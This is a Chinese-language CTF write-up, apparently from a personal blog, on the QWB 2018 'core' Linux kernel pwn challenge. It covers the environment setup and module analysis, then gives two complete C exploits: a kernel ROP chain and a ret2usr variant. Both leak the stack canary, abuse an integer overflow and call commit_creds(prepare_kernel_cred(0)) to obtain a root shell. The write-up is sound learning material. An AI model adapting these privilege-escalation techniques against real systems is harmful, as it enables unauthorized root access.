qwb2018 core 复现 ROP

2022-06-17

更新于 2022-10-11
PS:请在看完了linux内核基础 一的情况下练习该题

这是我入门kernel pwn的第一道题目 哈哈

可以说是经典中的经典了。

题目分析

首先我们可以先解压题目压缩包

可以得到以下4个文件

bzImage,vmlinux,start.sh,core.cpio共4个文件

vmlinux 是静态编译,未经过压缩的 kernel 文件,相对应的 bzImage 可以理解为压缩后的文件

start.sh 文件是一个qemu的运行脚本,core.cpio其实就是一个文件系统。

start.sh文件分析

咱们先来看看 start.sh启动脚本的内容是什么

qemu-system-x86_64 \
-m 64M \           
-kernel ./bzImage \ 
-initrd  ./core.cpio \ 
-append "root=/dev/ram rw console=ttyS0 oops=panic 
panic=1 quiet kaslr" \ 
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \

-nographic  \

整个就是一个qemu的启动命令,接下来一一做解释

-m memory大小,原先自带的64M太小了,会启动不了,换个大点的128M
-kernel 其实是kernel的路径
-initrd 是文件系统的路径
-append选项后的字符串,其实相当于grub引导内核时附加的命令行参数。 GRUB是GRand Unified Bootloader的缩写,多重启动管理器,它允许用户可以在计算机内同时拥有多个操作系统,并在计算机启动时选择希望运行的操作系统

kaslr表明开启了内核的aslr

-s 其实是开启了本地1234的调试端口的意思。shorthand for -gdb tcp::1234

首先第一步,我们应该解压core.cpio 看看里面有什么

先查看以下core.cpio的文件类型

file core.cpio

可以看到这是一个gzip文件

我们可以使用linux带的gunzip解压,但是这里要注意的是,gunzip解压的文件,后缀名必须是.gz

所以我们可以使用如下命令

mkdir core
mv core.cpio core/core.cpio.gz
cd core
gunzip core.cpio.gz

init 文件分析

一般情况下 etc/rcS 或者 init文件是系统的初始化脚本,这里只有init 我们看一下内容

mount -t proc proc /proc  
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

现在对每条命令进行分析。

mount命令是经常会使用到的命令,它用于挂载Linux系统外的文件。
/sbin/mdev -s 会自动创建设备节点
mkdir 用于创建目录
chmod 用于授予权限

cat /proc/kallsyms > /tmp/kallsyms 把内核符号转移到了tmp目录下,意味着我们可以直接查看内核函数的地址。
echo 1 > /proc/sys/kernel/kptr_restrict  开启了普通用户不可见的保护措施
echo 1 > /proc/sys/kernel/dmesg_restrict 开启了普通用户不可见的保护措施
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
这些命令都是用于启动网卡,开启网关和路由的。

insmod /core.ko 是重点,这意味着core.ko是我们要分析的内核模块。

poweroff -d 120 -f & 意味着120s后系统会自动关机,我们需要把他去掉,方便我们调试。

setsid /bin/cttyhack setuidgid 1000 /bin/sh 设置用户权限未普通用户,这里我们需要 改为setsid /bin/cttyhack setuidgid 0 /bin/sh 设置root权限。同样是为了方便调试。

core.ko分析

这个驱动的函数是比较少的

先看看 init_module函数,这是insmod core.ko时第一个运行的。

这个就是简单地注册了一下文件的操作,core_fops放的就是我们注册的驱动的操作。

根据core_fops放的函数地址,我们一个个看过去。

看到这里其实思路已经有了

利用思路

1.泄露kalsr

这个内核是开启了kalsr的,因此我们需要泄露canary置才能实现rop

重点在于 core_ioctl 0x6677889C选项,它会修改off的值,然后我们通过

core_ioctl 0x6677889B(core_read)那里读出canary

2.编写payload

要编写payload,首先需要gadget

ROPgadget --binary vmlinux > 1.txt

从带符号的内核文件vmlinux里提取。

虽然他们说很慢,但是其实我很快就提取完了。

如果没有vmlinux怎么办

可以用extract-vmlinux进行提取

./extract-vmlinux bzImage > vmlinux

执行payload首先我们要执行

commit_cred(prepare_kernel_cred(0))

这个地址函数地址在/tmp/kallsyms里面,我们需要自己编写函数动态地获取(因为每次重新启动内核 地址就不一样)

然后 执行 swagfs 和 iretq

3.利用core_write写入payload

这个就很简单了,利用整数溢出写一个负数进去,因为最终写的时候是16位的,很容易就写进去了。

4.返回用户态执行getshell

swagfs + iretq指令就是用来返回用户态的。

这个是有常规操作的。等下可以看我的exp

为什么要返回用户态执行getshell?

因为getshell在用户态做更容易。

exp

ROP

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

unsigned long long commit_cred=0;
unsigned long long prepare_kernel_cred=0;

void get_shell(){
    if(!getuid()){
        printf("get root!\n");
        system("/bin/sh");
    }else{
        printf("get shell error!\n");
    }
    exit(0);
}

void get_address(){
    FILE * fd = fopen("/tmp/kallsyms","r");
    if(fd==NULL){
        printf("error in open file kallsyms!\n");
    }
    unsigned long long addr;
    char type[0x10];
    char func_name[0x100];
    while (fscanf(fd,"%llx%s%s",&addr,type,func_name)!=EOF)
    {
        //printf("%llx %s %s\n",addr,type,func_name);
        if(commit_cred&&prepare_kernel_cred)
            break;;
        if(!strcmp(func_name,"prepare_kernel_cred"))
            prepare_kernel_cred=addr;
        if(!strcmp(func_name,"commit_creds"))
            commit_cred=addr;
    }
    printf("commit_addr:%p\n",commit_cred);
    printf("prepare_kernel_cred:%p\n",prepare_kernel_cred);
    return;
}

void set_off(int fd,long long len){
    printf("set off start!\n");
    ioctl(fd,0x6677889C,len);
}

void core_read(int fd,char * buffer){
    printf("read func start!\n");
    ioctl(fd,0x6677889B,buffer);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

int main(){
    saveStatus();
    get_address();//get commit_creds and prepare_kernel_cred addr

    int fd=open("/proc/core",O_RDWR);
    if(fd <0){
        printf("error! open device failed!\n");
        exit(0);
    }
    // set off = 64
    set_off(fd,0x40);
    // read canary
    char buf[65]={0};
    core_read(fd,buf);
    //printf("buffer:%s\n",&buf[1]);
    long long canary = ((long long *)buf)[0];// detail6
    printf("get canary!%p\n",canary);

    //rop
    unsigned long long kernel_base = commit_cred-0x9c8e0;
    unsigned long long offset = kernel_base-0xffffffff81000000;
    unsigned long long rop[0x100];
    int i=0;
    for(i=0;i<10;i++)
        rop[i]=canary;
    rop[i++]=0xffffffff81000b2f+offset;//pop rdi ret
    rop[i++]=0;
    rop[i++]=prepare_kernel_cred;
    rop[i++]=0xffffffff810a0f49 + offset; // pop rdx; ret
    rop[i++]=0xffffffff81021e53 + offset; // pop rcx; ret
    rop[i++]=0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
    rop[i++]= commit_cred;

    rop[i++]=0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[i++]=0;
    rop[i++]= 0xffffffff81050ac2 + offset; // iretq; ret;
    rop[i++] = (size_t)get_shell;         // rip 

    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd, rop, 0x800);
    ioctl(fd,0x6677889A,0xffffffffffff0000|0x100);
    return 0;
}

ret2usr

在没有开启SMAP/SMEP的情况下,可以使用ret2usr,直接在内核态访问用户态的代码并执行。
PS: 在使用ret2usr进行提取时,切记不要使用库函数(会引起系统调用导致内核panic)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

size_t commit_creds=0;
size_t prepare_kernel_cred =0;

size_t user_cs;
size_t user_ss;
size_t user_sp;
size_t user_rflags;
void save_status(void){
    __asm__(
        "mov user_cs,cs;"
        "mov user_ss,ss;"
        "mov user_sp,rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void get_root_shell(void){
    if(getuid())
    {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }
    printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
    system("/bin/sh");
}

//ret2usr
void get_root_privilege(){
    //printf("use ret2usr\n"); //don't use user func in kernel space!
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

//#include "kernel_module.c"

void core_read(int fd,char * buf){
    ioctl(fd,0x6677889B,buf);
}
void core_set(int fd,size_t off){
    ioctl(fd,0x6677889C,off);
}
void core_copy_func(int fd,size_t nbyte){
    ioctl(fd,0x6677889A,nbyte);
}

int main(){
    save_status();
    int fd = open("/proc/core",O_RDWR);
    if(fd<0){
        printf("open proc failed!\n");
        exit(-1);
    }
    FILE * sym_fd = fopen("/tmp/kallsyms","r");
    if(fd<0){
        printf("open symbolic_table failed!\n");
        exit(-2);
    }
    char buf[50];
    char type[10];
    size_t addr;
    printf("start search addr!\n");
    while(fscanf(sym_fd,"%llx %s %s",&addr,type,buf)){
        if(commit_creds&&prepare_kernel_cred){
            break;
        }
        if(!commit_creds && !strcmp(buf,"commit_creds")){
            commit_creds = addr;
            continue;
        }
        if(!prepare_kernel_cred && !strcmp(buf,"prepare_kernel_cred")){
            prepare_kernel_cred = addr;
            continue;
        }
    }
    printf("find!\n");
    printf("commit_creds:%llx\n",commit_creds);
    printf("preprae_kernel_cred:%llx\n",prepare_kernel_cred);
    
    size_t canary;
    char buffer[64];
    core_set(fd,64);
    core_read(fd,buffer);
    canary = ((size_t *)buffer)[0];
    printf("canary:%llx\n",canary);

    size_t offset = prepare_kernel_cred - 0xFFFFFFFF8109CCE0;
    size_t swapgs_pop_rdi_retq = offset + 0xffffffff81a012da;
    size_t iretq = offset + 0xffffffff813eb448;

    size_t rop_chain[0x100];
    int i=0;
    for(i=0;i<10;i++){
        rop_chain[i]=canary;
    }
    rop_chain[i++] = (size_t)get_root_privilege;
    rop_chain[i++] = swapgs_pop_rdi_retq;
    rop_chain[i++] = 0;
    rop_chain[i++] = iretq;
    rop_chain[i++] = (size_t)get_root_shell;
    rop_chain[i++] = user_cs;
    rop_chain[i++] = user_rflags;
    rop_chain[i++] = user_sp;
    rop_chain[i++] = user_ss;
    write(fd,rop_chain,0x100);
    core_copy_func(fd,0xffffffffffff0000 | (0x100));
    
    return 0;
}

待办

总之要学的事情还有很多,之后有空再来学习吧~

linux权限系统的管理

linux内核系统知识的学习。

reference

容器环境相关的内核漏洞缓解技术 - 知乎

kptr_restrict 向用户空间内核中的指针(/proc/kallsyms-modules显示value全部为0)

kernel-pwn(四)attack之uaf & rop

linux第一次启动时间长,linux启动优化:mdev -s自从创建节点